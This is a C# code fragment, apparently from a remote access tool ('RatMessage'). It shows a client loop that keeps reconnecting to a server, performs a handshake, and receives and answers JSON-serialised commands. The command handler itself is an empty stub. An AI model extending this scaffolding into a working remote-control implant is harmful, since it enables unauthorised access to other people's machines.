private RatMessage DecodeLine(string line)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
RatMessage message = serializer.Deserialize <RatMessage>(line);
return(message);
}
public virtual RatMessage DispatchMessage(RatMessage message)
{
return(new RatMessage());
}
private void WriteMessage(RatMessage message)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
WriteLine(serializer.Serialize(message));
}
public void RunForever()
{
string state = "connecting";
while (true)
{
switch (state)
{
case "disconnected":
DisconnectStreams();
Debug.WriteLine("Lost connection... Reconnecting...");
state = "connecting";
break;
case "connecting":
if (Connect())
{
state = "handshake";
}
else
{
Thread.Sleep(1000);
}
break;
case "handshake":
{
string line = ReadLine();
if (line == string.Empty)
{
state = "disconnected";
break;
}
RatMessage message = DecodeLine(line);
Debug.Assert(message.opcode == Opcodes.Initiate, "unexpected opcode during handshake!");
// flip this bit
message.response = true;
WriteMessage(message);
state = "connected";
break;
}
case "connected":
{
Debug.WriteLine("Waiting for message...");
string line = ReadLine();
if (line == string.Empty)
{
state = "disconnected";
break;
}
RatMessage message = DecodeLine(line);
if (message.opcode == Opcodes.Exit)
{
state = "exit";
break;
}
RatMessage returnMessage = DispatchMessage(message);
WriteMessage(returnMessage);
break;
}
case "exit":
DisconnectStreams();
return;
default:
return;
}
}
}